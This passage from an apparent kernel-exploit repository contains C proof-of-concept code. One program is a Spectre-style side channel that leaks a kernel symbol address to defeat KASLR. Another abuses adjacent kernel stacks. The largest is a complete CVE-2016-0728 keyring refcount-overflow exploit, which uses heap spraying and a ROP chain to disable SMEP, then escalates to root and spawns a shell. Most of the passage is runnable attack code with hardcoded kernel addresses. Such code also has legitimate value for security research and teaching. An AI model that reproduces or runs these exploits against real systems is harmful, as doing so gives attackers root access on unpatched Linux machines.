200 | printf("mlock error\n"); 201 | return 0; 202 | } 203 | 204 | // calculate index 205 | offset = mmap_addr - area; 206 | index = offset / ARRAY_ELEM_SIZE; 207 | 208 | pin_cpu(0); 209 | 210 | alloc_nl_sock(&nlsock); 211 | 212 | user_flush_cacheline(mmap_addr); 213 | send_msg_to_kernel(nlsock, index, 1); 214 | time = user_timed_reload(mmap_addr); 215 | printf("time : %d\n", time); 216 | if (time < 100) { 217 | printf("cache hit! %lx is address of hwsim_world_regdom_custom\n", area); 218 | } 219 | 220 | nl_socket_free(nlsock); 221 | munmap(mmap_addr, 4096); 222 | return 0; 223 | } 224 | -------------------------------------------------------------------------------- /exploit-remaining-spectre-gadget/leak_pkt_devs.c: -------------------------------------------------------------------------------- 1 | // Goal of this attack : 2 | // - Leak address of kernel symbol "pkt_devs" via exploiting remaining spectre-like gadget. 3 | // - If attacker can get the address, It can be exploited for bypassing security mechanism such as KASLR. 4 | // 5 | // Assumption : 6 | // - This is just PoC to show possibility which exploits remaining spectre-like gadget. 7 | // - So This code requires several assumptions. 8 | // --- No SMAP, No PTI (Page Table Isolation) 9 | // 10 | // Referenced CVE : 11 | // - CVE-2010-3437 12 | // - Original exploit code is from below. 13 | // --- https://jon.oberheide.org/blog/2010/10/23/linux-kernel-pktcdvd-memory-disclosure/ 14 | // - Since this CVE has already fixed, Attacker can't exploit original vulnerability, 15 | // But There is still spectre-like gadget. We can exploit this again! 16 | // 17 | // Spectre-like gadget in pktcdvd : 18 | // - pkt_find_dev_from_minor() in drivers/block/pktcdvd.c 19 | // if (dev_minor >= MAX_WRITERS) ==> Bypass this check via speculative execution 20 | // return NULL; 21 | // return pkt_devs[dev_minor]; ==> Attacker can control dev_minor. Try to access from here to leak area. 22 | // 23 | // Usage : 24 | // $ gcc -o leak_pkt_devs leak_pkt_devs.c 25 | // $ sudo insmod /lib/modules/$(uname -r)/kernel/drivers/block/pktcdvd.ko 26 | // & sudo cat /proc/kallsyms | grep pkt_devs ==> ffffffffc05576a0 b pkt_devs [pktcdvd] 27 | // $ sudo ./leak_pkt_devs ffffffffc05573a0 ffffffffc0557aa0 28 | // mmap_addr : 10000 29 | // start bruteforce to get leak_area as kernel virtual address. 30 | // first index : 3fab8a60 31 | // Found kernel vaddr!! ffffffffc0557680, 3 32 | // Found kernel vaddr!! ffffffffc05576a0, 92 33 | // pkt_devs addr : ffffffffc05576a0 ==> succeed to infer address of pkt_devs!! 34 | // 35 | // ** Since this is based on probabilistic way, It is not reliable. Try a lot of times.. 36 | // 37 | // Contact : 38 | // - Jinbum Park 39 | // 40 | #define _GNU_SOURCE 41 | #include 42 | #include 43 | #include 44 | #include 45 | #include 46 | #include 47 | #include 48 | #include 49 | #include 50 | 51 | #define PKT_DEVS_ELEM_SIZE (8) 52 | #define MMAP_MIN_ADDR (0x10000UL) 53 | 54 | #define DEV_INDEX 0 55 | #define PKT_CTRL_CMD_STATUS 2 56 | 57 | struct pkt_ctrl_command { 58 | uint32_t command; 59 | uint32_t dev_index; 60 | uint32_t dev; 61 | uint32_t pkt_dev; 62 | uint32_t num_devices; 63 | uint32_t padding; 64 | }; 65 | 66 | #define PACKET_IOCTL_MAGIC ('X') 67 | #define PACKET_CTRL_CMD _IOWR(PACKET_IOCTL_MAGIC, 1, struct pkt_ctrl_command) 68 | 69 | char *mmap_addr = NULL; 70 | char user_leak_area[4096] __attribute__((aligned(4096))) = {0x01,0x02,0x03,0x04,0x05,0x06,0x07,0x08,0x09,0xa0,}; 71 | unsigned long kernel_leak_area; 72 | int pkt_fd; 73 | 74 | void user_flush_cacheline(void *arg) 75 | { 76 | asm volatile( 77 | "mov $0, %%eax\n\t" 78 | "cpuid\n\t" /* pleeeease don't do this speculatively :/ */ 79 | "clflush %0" 80 | : "+m" (*(volatile char *)arg) 81 | : /* no inputs */ 82 | : "ax", "bx", "cx", "dx"); 83 | } 84 | 85 | int user_timed_reload(void *arg) 86 | { 87 | int tsc1, tsc2, read_copy; 88 | asm volatile( 89 | "mov $0, %%eax\n\t" 90 | "cpuid\n\t" /* serialize; clobbers eax, ebx, ecx, edx */ 91 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 92 | "mov %%eax, %0\n\t" 93 | "mov (%3), %%eax\n\t" 94 | "mov %%eax, %2\n\t" 95 | "rdtscp\n\t" /* counter into eax; clobbers edx, ecx */ 96 | "mov %%eax, %1\n\t" 97 | : "=&r"(tsc1), "=&r"(tsc2), "=&r"(read_copy) 98 | : "r"((unsigned int *)arg) 99 | : "ax", "bx", "cx", "dx"); 100 | return tsc2 - tsc1; 101 | } 102 | 103 | void try_speculative(uint32_t index) 104 | { 105 | int i, ret; 106 | struct pkt_ctrl_command cmd; 107 | 108 | memset(&cmd, 0, sizeof(cmd)); 109 | cmd.command = PKT_CTRL_CMD_STATUS; 110 | cmd.dev_index = 0; 111 | 112 | // mistraining 113 | for (i=0; i<128; i++) { 114 | ret = ioctl(pkt_fd, PACKET_CTRL_CMD, &cmd); 115 | if (ret < 0) { 116 | printf("[-] ioctl of pktcdvd device failed\n"); 117 | exit(0); 118 | } 119 | } 120 | 121 | // speculative 122 | memset(&cmd, 0, sizeof(cmd)); 123 | cmd.command = PKT_CTRL_CMD_STATUS; 124 | cmd.dev_index = index; 125 | ret = ioctl(pkt_fd, PACKET_CTRL_CMD, &cmd); 126 | if (ret < 0) { 127 | printf("[-] ioctl of pktcdvd device failed\n"); 128 | exit(0); 129 | } 130 | } 131 | 132 | unsigned long cand_start, cand_end; 133 | unsigned long calc_kernel_vaddr_from_bruteforce(void) 134 | { 135 | int time, i, repeat, hit, max_hit = -1; 136 | unsigned long area, progress = 0; 137 | unsigned long index, offset, ret_addr = 0; 138 | 139 | printf("start bruteforce to get leak_area as kernel virtual address.\n"); 140 | printf("first index : %lx\n", mmap_addr - cand_start); 141 | 142 | for (area=cand_start; area 0) { 156 | printf("Found kernel vaddr!! %lx, %d\n", area, hit); 157 | if (hit > max_hit) { 158 | ret_addr = area; 159 | max_hit = hit; 160 | } 161 | } 162 | 163 | progress++; 164 | if ((progress % (1<<8)) == 0) { 165 | printf("progress : %lx\n", area); 166 | } 167 | } 168 | 169 | return ret_addr; 170 | } 171 | 172 | void pin_cpu(int cpu) 173 | { 174 | cpu_set_t set; 175 | CPU_ZERO(&set); 176 | CPU_SET(cpu, &set); 177 | if (sched_setaffinity(0, sizeof(cpu_set_t), &set)) { 178 | printf("error\n"); 179 | exit(-1); 180 | } 181 | } 182 | 183 | int main(int argc, char **argv) 184 | { 185 | int ret; 186 | struct pkt_ctrl_command cmd; 187 | unsigned long addr; 188 | 189 | if (argc != 3) { 190 | printf("USAGE: ./poc \n"); 191 | return 0; 192 | } 193 | cand_start = strtoull(argv[1], NULL, 16); 194 | cand_end = strtoull(argv[2], NULL, 16); 195 | 196 | if (mlock(user_leak_area, sizeof(user_leak_area)) != 0) { 197 | printf("mlock error\n"); 198 | return 0; 199 | } 200 | 201 | mmap_addr = mmap(MMAP_MIN_ADDR, 4096, PROT_READ | PROT_WRITE, MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, 0, 0); 202 | if (mmap_addr == MAP_FAILED) { 203 | printf("mmap error\n"); 204 | return 0; 205 | } 206 | printf("mmap_addr : %lx\n", (unsigned long)mmap_addr); 207 | if (mlock(mmap_addr, 4096) != 0) { 208 | printf("mlock error\n"); 209 | return 0; 210 | } 211 | pin_cpu(0); 212 | 213 | pkt_fd = open("/dev/pktcdvd/control", O_RDWR); 214 | if (pkt_fd < 0) { 215 | printf("[-] open of pktcdvd device failed\n"); 216 | return 0; 217 | } 218 | 219 | /* Main goal of this attack : Infer address of kernel symbol "pkt_devs" */ 220 | /* No SMAP bypass */ 221 | addr = calc_kernel_vaddr_from_bruteforce(); 222 | printf("pkt_devs addr : %lx\n", addr); 223 | 224 | out: 225 | close(pkt_fd); 226 | munmap(mmap_addr, 4096); 227 | return 0; 228 | } 229 | -------------------------------------------------------------------------------- /samples/adjacent-kstacks/poc.c: -------------------------------------------------------------------------------- 1 | #define _GNU_SOURCE 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | #include 16 | #include 17 | #include 18 | #include 19 | #include 20 | #include 21 | #include 22 | #include 23 | #include 24 | #include 25 | #include 26 | #include 27 | #include 28 | 29 | /* Ubuntu kernel 4.4.0-128 */ 30 | 31 | struct poc_lkm_size { 32 | char dummy[128]; 33 | }; 34 | struct poc_lkm_input_val { 35 | int idx; 36 | unsigned long val; 37 | }; 38 | 39 | #define POC_LKM_IOCTL_MAGIC ('P') 40 | #define POC_LKM_CMD_0 _IOWR(POC_LKM_IOCTL_MAGIC, 0, struct poc_lkm_size) 41 | #define POC_LKM_CMD_1 _IOWR(POC_LKM_IOCTL_MAGIC, 1, struct poc_lkm_size) 42 | #define POC_LKM_CMD_2 _IOWR(POC_LKM_IOCTL_MAGIC, 2, struct poc_lkm_size) 43 | #define POC_LKM_CMD_3 _IOWR(POC_LKM_IOCTL_MAGIC, 3, struct poc_lkm_size) 44 | 45 | int fd; 46 | int buf_offset = 0; 47 | int limit_idx = 0; 48 | 49 | unsigned long get_kstack(int offset) 50 | { 51 | int r, i; 52 | unsigned char buf[64] = {0,}; 53 | unsigned long addr; 54 | 55 | r = ioctl(fd, POC_LKM_CMD_0, buf); 56 | if (r < 0) { 57 | printf("[-] POC_LKM_CMD_0 failed\n"); 58 | return 0; 59 | } 60 | 61 | r = ioctl(fd, POC_LKM_CMD_1, buf); 62 | if (r < 0) { 63 | printf("[-] POC_LKM_CMD_0 failed\n"); 64 | return 0; 65 | } 66 | 67 | r = ioctl(fd, POC_LKM_CMD_2, buf); 68 | if (r < 0) { 69 | printf("[-] POC_LKM_CMD_2 failed\n"); 70 | return 0; 71 | } 72 | 73 | addr = *(unsigned long *)(buf + offset); 74 | return addr & ~0x3fff; 75 | } 76 | 77 | #define SDATA_ADDR 0xffffffff81e00000UL 78 | 79 | #define KERNEL_DS 0xffffffffffffffffUL 80 | #define KERNEL_DS_HIGH 0xffffffff 81 | #define KERNEL_DS_LOW 0xffffffff 82 | #define USER_DS_LOW 0xfffff000 83 | #define USER_DS_HIGH 0x7fff 84 | 85 | #define HIGH_KSTACK_CPUID 2 86 | #define LOW_KSTACK_CPUID 3 87 | 88 | void kernel_write(unsigned long addr, char *buf, size_t len) 89 | { 90 | int pipefds[2]; 91 | 92 | if (pipe(pipefds)) 93 | err(1, "pipe"); 94 | 95 | if (write(pipefds[1], buf, len) != len) 96 | errx(1, "pipe write"); 97 | 98 | close(pipefds[1]); 99 | 100 | if (read(pipefds[0], (char*)addr, len) != len) 101 | errx(1, "pipe read to kernelspace"); 102 | 103 | close(pipefds[0]); 104 | } 105 | 106 | void pin_cpu(int cpuid) 107 | { 108 | cpu_set_t set; 109 | 110 | CPU_ZERO(&set); 111 | CPU_SET(cpuid, &set); 112 | if (sched_setaffinity(0, sizeof(cpu_set_t), &set)) { 113 | printf("sched_setaffinity error\n"); 114 | return; 115 | } 116 | } 117 | 118 | int find_addr_limit_idx(void) 119 | { 120 | unsigned long arg = 0; 121 | int idx = 0, sidx = 0, eidx = (0x4000 / 4); 122 | int r; 123 | int high_flag = 0; 124 | struct poc_lkm_input_val input_val = {.idx = 0, .val = 0}; 125 | 126 | /* start from adjacent kstack */ 127 | input_val.idx -= (0x4000 / 4); 128 | pin_cpu(HIGH_KSTACK_CPUID); 129 | 130 | for (sidx=0; sidx> 12; 191 | return idx; 192 | } 193 | 194 | unsigned long high_kstack = 0x00; 195 | unsigned long low_kstack = 0x00; 196 | volatile int prog_end_flag = 0; 197 | volatile int attack_ready_flag = 0; 198 | volatile int attack_success_flag = 0; 199 | 200 | int pick_adjacent_kstacks(void) 201 | { 202 | unsigned int i = 0; 203 | unsigned int kstack_size_off = (16 / 4); /* kernel stack size = 16kb */ 204 | 205 | for (i=0; i\n"); 317 | return 0; 318 | } 319 | 320 | buf_offset = atoi(argv[1]); 321 | 322 | fd = open("/proc/poc_lkm", O_RDWR); 323 | if (fd < 0) { 324 | printf("[-] open /proc/poc_lkm failed\n"); 325 | return 0; 326 | } 327 | 328 | memset(kstack_arr, 0, sizeof(kstack_arr)); 329 | for (i=0; i 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include 8 | #include 9 | #include 10 | #include 11 | #include 12 | #include 13 | #include 14 | #include 15 | 16 | #if ( __WORDSIZE == 64 ) 17 | #define _BUILD_64 1 18 | #endif 19 | 20 | /* 21 | * This code is from 22 | * https://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8fhttps://gist.github.com/PerceptionPointTeam/18b1e86d1c0f8531ff8f 23 | * 24 | * gcc -o leak leak.c -lkeyutils 25 | * ./leak 26 | * cat /proc/keys 27 | */ 28 | 29 | typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); 30 | typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); 31 | _commit_creds commit_creds; 32 | _prepare_kernel_cred prepare_kernel_cred; 33 | 34 | #define STRUCT_MSG_MSG_LEN (48) 35 | 36 | #ifdef LINUX_VER_4 37 | /* For Linux RPi3 4.6.3-17570-g9f38d0f-dirty #41 SMP Mon Apr 16 15:13:11 KST 2018 aarch64 GNU/Linux */ 38 | /* optee kernel for rpi3 */ 39 | #define STRUCT_KEY_LEN (184) 40 | 41 | #define LINUX_KEY_UID_IDX (104) 42 | #define LINUX_KEY_PERM_IDX (112) 43 | #define LINUX_KEY_FLAGS_IDX (120) 44 | #define LINUX_KEY_TYPE_IDX (128) 45 | 46 | #define COMMIT_CREDS_ADDR (0xffffff80080c07e0) 47 | #define PREPARE_KERNEL_CREDS_ADDR (0xffffff80080c0ba8) 48 | #else 49 | /* For Linux kernel 3.13.0-40-generic #69-Ubuntu SMP Thu Nov 13 17:53:56 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux */ 50 | #define STRUCT_KEY_LEN (176) 51 | 52 | #define LINUX_KEY_UID_IDX (96) 53 | #define LINUX_KEY_PERM_IDX (104) 54 | #define LINUX_KEY_FLAGS_IDX (112) 55 | #define LINUX_KEY_TYPE_IDX (120) 56 | 57 | #define COMMIT_CREDS_ADDR (0xffffffff81090ad0) 58 | #define PREPARE_KERNEL_CREDS_ADDR (0xffffffff81090dd0) 59 | #endif 60 | 61 | /* It's to fit "struct key" to realloc freed object */ 62 | #define STRUCT_LEN (STRUCT_KEY_LEN - STRUCT_MSG_MSG_LEN) 63 | 64 | #define KEY_UID_IDX ((LINUX_KEY_UID_IDX) - (STRUCT_MSG_MSG_LEN)) 65 | #define KEY_PERM_IDX ((LINUX_KEY_PERM_IDX) - (STRUCT_MSG_MSG_LEN)) 66 | #define KEY_FLAGS_IDX ((LINUX_KEY_FLAGS_IDX) - (STRUCT_MSG_MSG_LEN)) 67 | #define KEY_TYPE_IDX ((LINUX_KEY_TYPE_IDX) - (STRUCT_MSG_MSG_LEN)) 68 | 69 | /* ROP gadgets to bypass SMEP */ 70 | /* Specific on Linux kernel 3.13.0-40-generic #69-Ubuntu SMP Thu Nov 13 17:53:56 UTC 2014 x86_64 x86_64 x86_64 GNU/Linux */ 71 | 72 | // - xchg eax, esp ; ret 73 | // - pop rdi ; ret 74 | // - mov dword ptr [rdi], eax ; ret 75 | // - pop rax ; ret 76 | // - mov rax, cr4 ; ret 77 | // - pop rcx ; ret 78 | // - jmp rcx 79 | 80 | #define XCHG_EAX_ESP_RET (0xffffffff81405ba0UL) 81 | #define POP_RDI_RET (0xffffffff81237d0dUL) 82 | #define MOV_EAX_DWORD_PTR_RDI_RET (0xffffffff810e93f7UL) 83 | #define POP_RCX_RET (0xffffffff8117ec63UL) 84 | #define POP_RAX_RET (0xffffffff81009f16UL) 85 | #define MOV_RAX_CR4_RET (0xffffffffa03930a9UL) /* This gadget is from info.ko */ 86 | #define JMP_RCX (0xffffffff8125e24dUL) 87 | #define NOP_RET (0xffffffff8100363fUL) 88 | 89 | /* Emulate kernel struct "key_type" to overwrite "key_type" */ 90 | #ifdef LINUX_VER_4 91 | struct key_type { 92 | char *name; 93 | size_t def_datalen; 94 | void *vet_description; 95 | void *preparse; 96 | void *free_preparse; 97 | void *instantiate; 98 | void *update; 99 | void *match_preparse; 100 | void *match_free; 101 | void *revoke; 102 | void *destroy; 103 | void *describe; 104 | void *read; 105 | void *request_key; 106 | void *link[2]; 107 | void *lock_class[2]; 108 | }; 109 | #else 110 | struct key_type { 111 | char *name; 112 | size_t def_datalen; 113 | unsigned def_lookup_type; 114 | void *vet_description; 115 | void *preparse; 116 | void *free_preparse; 117 | void *instantiate; 118 | void *update; 119 | void *match; 120 | void *revoke; 121 | void *destroy; 122 | void *describe; 123 | void *read; 124 | void *request_key; 125 | void *link[2]; 126 | void *lock_class[2]; 127 | }; 128 | #endif 129 | 130 | void userspace_revoke(void *key) { 131 | commit_creds(prepare_kernel_cred(0)); 132 | } 133 | 134 | /* We have to preserve ESP of original path */ 135 | uint64_t saved_esp; 136 | 137 | /* 138 | * movq %%rbp, %%rax - copy from rbp to rax. 139 | * movq $0xffffffff00000000, %%rdx - set rdx. It's mask to restore upper 4 bytes. 140 | * andq %%rdx, %%rax - rax = rdx & rax(==rbp). rax's upper 4 bytes == RBP, rax's lower 4bytes == 0 141 | * movq %0, %%rdx - movq saved_esp, rdx. 142 | * addq %%rdx, %%rax - rax = rax + rdx. rax == original RSP 143 | * movq %%rax, %%rsp - restore RSP 144 | */ 145 | 146 | /* 147 | * The role of "payload" 148 | * 149 | * - 1) Restore RBP, RSP to execute original path. 150 | * - 2) Call our shellcode (== userspace_revoke()) to get root. 151 | * - 3) ret; Return from here to original path. 152 | */ 153 | void wrapper() { 154 | asm volatile (" \n\ 155 | payload: \n\ 156 | movq %%rbp, %%rax \n\ 157 | movq $0xffffffff00000000, %%rdx \n\ 158 | andq %%rdx, %%rax \n\ 159 | movq %0, %%rdx \n\ 160 | addq %%rdx, %%rax \n\ 161 | movq %%rax, %%rsp \n\ 162 | call userspace_revoke \n\ 163 | ret \n\ 164 | " : : "m"(saved_esp) : ); 165 | } 166 | 167 | void payload(void); 168 | 169 | /* 170 | * When stack-pivot is triggered, 171 | * EAX will be copied from ESP via XCHG_EAX_ESP_RET. 172 | * We should preserve ESP, So that save ESP into saved_esp. 173 | */ 174 | 175 | /* 176 | * What "CHAIN_SAVE_ESP" does? 177 | * - 1) Save &saved_esp into RDI 178 | * - 2) Copy from EAX into *RDI(== *saved_esp). 179 | * -- In summary, Save original ESP into saved_esp. 180 | */ 181 | #define CHAIN_SAVE_ESP \ 182 | *stack++ = POP_RDI_RET; \ 183 | *stack++ = (uint64_t)&saved_esp; \ 184 | *stack++ = MOV_EAX_DWORD_PTR_RDI_RET; 185 | 186 | /* 187 | * We have to customize ROPchain that disable SMEP 188 | * Because, our linux kernel doesn't have some ROP gadget in below. 189 | */ 190 | #define SMEP_DISABLE_VAL (0x0407e0UL) /* smep enable - (0x1407e0UL) */ 191 | 192 | /* 193 | * What "CHAIN_DISABLE_SMEP" does? 194 | * - 1) Save SMEP_DISABLE_VAL into RAX. 195 | * - 2) Copy from RAX into CR4. 196 | * -- In summary, Modify CR4 register to disable SMEP. 197 | */ 198 | #define CHAIN_DISABLE_SMEP \ 199 | *stack++ = POP_RAX_RET; \ 200 | *stack++ = SMEP_DISABLE_VAL; \ 201 | *stack++ = MOV_RAX_CR4_RET; 202 | 203 | /* 204 | * What "CHAIN_JMP_PAYLOAD" does? 205 | * Execute our shellcode, and restore RBP,RSP, return to original path. 206 | */ 207 | #define CHAIN_JMP_PAYLOAD \ 208 | *stack++ = POP_RCX_RET; \ 209 | *stack++ = (uint64_t)&payload; \ 210 | *stack++ = JMP_RCX; 211 | 212 | void build_fake_stack(void) 213 | { 214 | uint64_t stack_aligned, stack_addr; 215 | unsigned long page_size = 4096; 216 | unsigned long stack_size, stack_offset; 217 | uint64_t *stack, *ptr; 218 | int chain_count = 9; 219 | int i; 220 | unsigned long xchg_addr = XCHG_EAX_ESP_RET; 221 | 222 | /* Calculate address where fake stack should be located. */ 223 | /* 224 | * RAX will be set to RSP. and xchg_addr will be RAX according to intel indirect branch rule. 225 | * In other words, Candidate for fake stack address is xchg_addr. 226 | */ 227 | stack_aligned = (xchg_addr & 0x00000000ffffffffUL) & ~(page_size - 1); 228 | stack_addr = stack_aligned - (page_size * 128 * 1024); 229 | stack_size = page_size * 256 * 1024; /* 1GB fake stack */ 230 | stack_offset = xchg_addr % page_size; 231 | 232 | /* Allocate fake stack */ 233 | stack = mmap((void*)stack_addr, stack_size, PROT_READ | PROT_WRITE, 234 | MAP_FIXED | MAP_ANONYMOUS | MAP_PRIVATE, -1, 0); 235 | if (stack == MAP_FAILED || stack != (void*)stack_addr) { 236 | perror("mmap error\n"); 237 | exit(-1); 238 | } 239 | 240 | ptr = (uint64_t*)((char*)stack_aligned + stack_offset); 241 | printf("stack : %lx~%lx, userspace_revoke : %lx\n", (unsigned long)ptr, (unsigned long)(stack_addr + stack_size), (unsigned long)userspace_revoke); 242 | printf("saved_esp : %lx\n", (unsigned long)&saved_esp); 243 | 244 | /* Install ROP chains */ 245 | for (i = -1024; i<=1024; i++) { 246 | stack = (ptr + (i * 9)); 247 | CHAIN_SAVE_ESP; 248 | CHAIN_DISABLE_SMEP; 249 | CHAIN_JMP_PAYLOAD; 250 | } 251 | } 252 | 253 | #ifdef TEST_LKM 254 | struct info_arg { 255 | void *call; 256 | void *arg1; 257 | }; 258 | 259 | void test_lkm(void) 260 | { 261 | int fd; 262 | int r; 263 | struct info_arg iarg; 264 | 265 | build_fake_stack(); 266 | 267 | fd = open("/proc/info", O_RDWR, S_IXUSR | S_IROTH); 268 | if (fd < 0) { 269 | printf("fail to open\n"); 270 | exit(0); 271 | } 272 | 273 | iarg.call = (void *)XCHG_EAX_ESP_RET; 274 | iarg.arg1 = NULL; 275 | 276 | r = ioctl(fd, 3, &iarg); 277 | if (r) { 278 | printf("ioctl error\n"); 279 | } 280 | 281 | close(fd); 282 | 283 | printf("uid=%d, euid=%d\n", getuid(), geteuid()); 284 | execl("/bin/sh", "/bin/sh", NULL); 285 | exit(0); 286 | } 287 | #else 288 | void test_lkm(void) {} 289 | #endif 290 | 291 | int main(int argc, char **argv) 292 | { 293 | const char *keyring_name; 294 | size_t i = 0; 295 | unsigned long int l = 0x100000000/2; 296 | key_serial_t serial = -1; 297 | pid_t pid = -1; 298 | struct key_type *my_key_type = NULL; 299 | int uid; 300 | 301 | #ifdef _BUILD_64 302 | struct { 303 | long mtype; 304 | char mtext[STRUCT_LEN]; 305 | } msg = {0x4141414141414141, {0}}; 306 | int msqid; 307 | #else 308 | struct { 309 | long mtype; 310 | char mtext[STRUCT_LEN]; 311 | } msg = {0x41414141, {0}}; 312 | int msqid; 313 | #endif 314 | 315 | if (argc != 2) { 316 | printf("USAGE : ./exploit \n"); 317 | return -1; 318 | } 319 | 320 | printf("uid=%d, euid=%d\n", getuid(), geteuid()); 321 | uid = getuid(); 322 | 323 | commit_creds = (_commit_creds) COMMIT_CREDS_ADDR; 324 | prepare_kernel_cred = (_prepare_kernel_cred) PREPARE_KERNEL_CREDS_ADDR; 325 | 326 | test_lkm(); 327 | 328 | my_key_type = malloc(sizeof(*my_key_type)); 329 | printf("revoke offset : %ld\n", (unsigned long)(&my_key_type->revoke) - (unsigned long)my_key_type); 330 | 331 | /* Our goal is to overwrite revoke() in keyring object */ 332 | 333 | #ifdef BYPASS_SMEP 334 | my_key_type->revoke = (void *) XCHG_EAX_ESP_RET; /* with SMEP */ 335 | #else 336 | my_key_type->revoke = (void *)userspace_revoke; /* without SMEP */ 337 | #endif 338 | memset(msg.mtext, 'A', sizeof(msg.mtext)); 339 | 340 | *(int *)(&msg.mtext[KEY_UID_IDX]) = uid; /* key->uid. geteuid() */ 341 | *(int *)(&msg.mtext[KEY_PERM_IDX]) = 0x3f3f3f3f; /*key->perm */ 342 | *(unsigned long *)(&msg.mtext[KEY_TYPE_IDX]) = (unsigned long)my_key_type; 343 | 344 | printf("attacker's key_type : 0x%lx\n", (unsigned long)my_key_type); 345 | 346 | if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { 347 | perror("msgget"); 348 | exit(-1); 349 | } 350 | 351 | keyring_name = argv[1]; 352 | 353 | /* set new keyring object */ 354 | serial = keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name); 355 | if (serial < 0) { 356 | perror("keyctl - first"); 357 | return -1; 358 | } 359 | 360 | if (keyctl(KEYCTL_SETPERM, serial, KEY_POS_ALL | KEY_USR_ALL | KEY_GRP_ALL | KEY_OTH_ALL) < 0) { 361 | perror("keyctl - setperm"); 362 | return -1; 363 | } 364 | 365 | puts("try to overflow.."); 366 | 367 | for (i=1; i<0xfffffffd; i++) { 368 | if (i % 10000000 == 0) { 369 | printf("try : %d\n", i); 370 | } 371 | if (i == (0xffffffff - l)) { 372 | l = l/2; 373 | sleep(5); 374 | } 375 | if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { 376 | perror("keyctl"); 377 | return -1; 378 | } 379 | } 380 | sleep(5); /* Ensure refcount is not going to be too large */ 381 | 382 | for (i=0; i<5; i++) { 383 | if (keyctl(KEYCTL_JOIN_SESSION_KEYRING, keyring_name) < 0) { 384 | perror("keyctl - overflow"); 385 | return -1; 386 | } 387 | } 388 | 389 | puts("finish overflow"); 390 | puts("forking.. It's to reallocated freed keyring object, and overwrite it"); 391 | 392 | for (i=0; i<64; i++) { 393 | pid = fork(); 394 | if (pid == -1) { 395 | perror("fork"); 396 | return -1; 397 | } 398 | 399 | if (pid == 0) { 400 | sleep(2); 401 | if ((msqid = msgget(IPC_PRIVATE, 0644 | IPC_CREAT)) == -1) { 402 | perror("msgget"); 403 | exit(-1); 404 | } 405 | for (i=0; i<64; i++) { 406 | /* Allocate msg object same size of which keyring object */ 407 | /* and overwrite attacker's message to freed keyring object */ 408 | /* 409 | * When call msgsnd with size (sizeof(msg.mtext)), 410 | * the size of dynamic object is allocated by SLAB. 411 | */ 412 | if (msgsnd(msqid, &msg, sizeof(msg.mtext), 0) == -1) { 413 | perror("msgsnd"); 414 | exit(-1); 415 | } 416 | } 417 | sleep(-1); 418 | exit(1); 419 | } 420 | } 421 | 422 | puts("finished forking"); 423 | sleep(5); 424 | 425 | puts("calling revoke"); 426 | 427 | #ifdef BYPASS_SMEP 428 | build_fake_stack(); 429 | #endif 430 | if (keyctl(KEYCTL_REVOKE, KEY_SPEC_SESSION_KEYRING) == -1) { 431 | perror("keyctl_revoke"); 432 | } 433 | 434 | /* Enter root-shell */ 435 | printf("uid=%d, euid=%d\n", getuid(), geteuid()); 436 | execl("/bin/sh", "/bin/sh", NULL); 437 | return 0; 438 | } 439 | -------------------------------------------------------------------------------- /CVE-2016-0728/lkm/.cache.mk: -------------------------------------------------------------------------------- 1 | __cached_aarch64-linux-gnu-gcc_-v_2>&1_|_grep_-q_"clang_version"_&&_echo_clang_||_echo_gcc := gcc 2 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-fno-PIE";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fno-PIE 3 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if____aarch64-linux-gnu-gcc_-Werror__-D__KERNEL___-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-fno-PIE_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-fno-PIE";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -fno-PIE 4 | __cached_set_-e;_TMP_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.tmp";_TMPO_"/home/jinb.park/GitHub/linux-exploit/CVE-2016-0728-keyrings/lkm/.__.o";_if___aarch64-linux-gnu-gcc_-Werror_-D__KERNEL___-Wall_-Wundef_-Wstrict-prototypes_-Wno-trigraphs_-fno-strict-aliasing_-fno-common_-fshort-wchar_-Werror-implicit-function-declaration_-Wno-format-security_-std_gnu89_-fno-PIE_-Wmaybe-uninitialized_-c_-x_c_/dev/null_-o_"_TMP"__>/dev/null_2>&1;_then_echo_"-Wno-maybe-uninitialized";_else_echo_"";_fi;_rm_-f_"_TMP"_"_TMPO" := -Wno-maybe-uninitialized 5 | 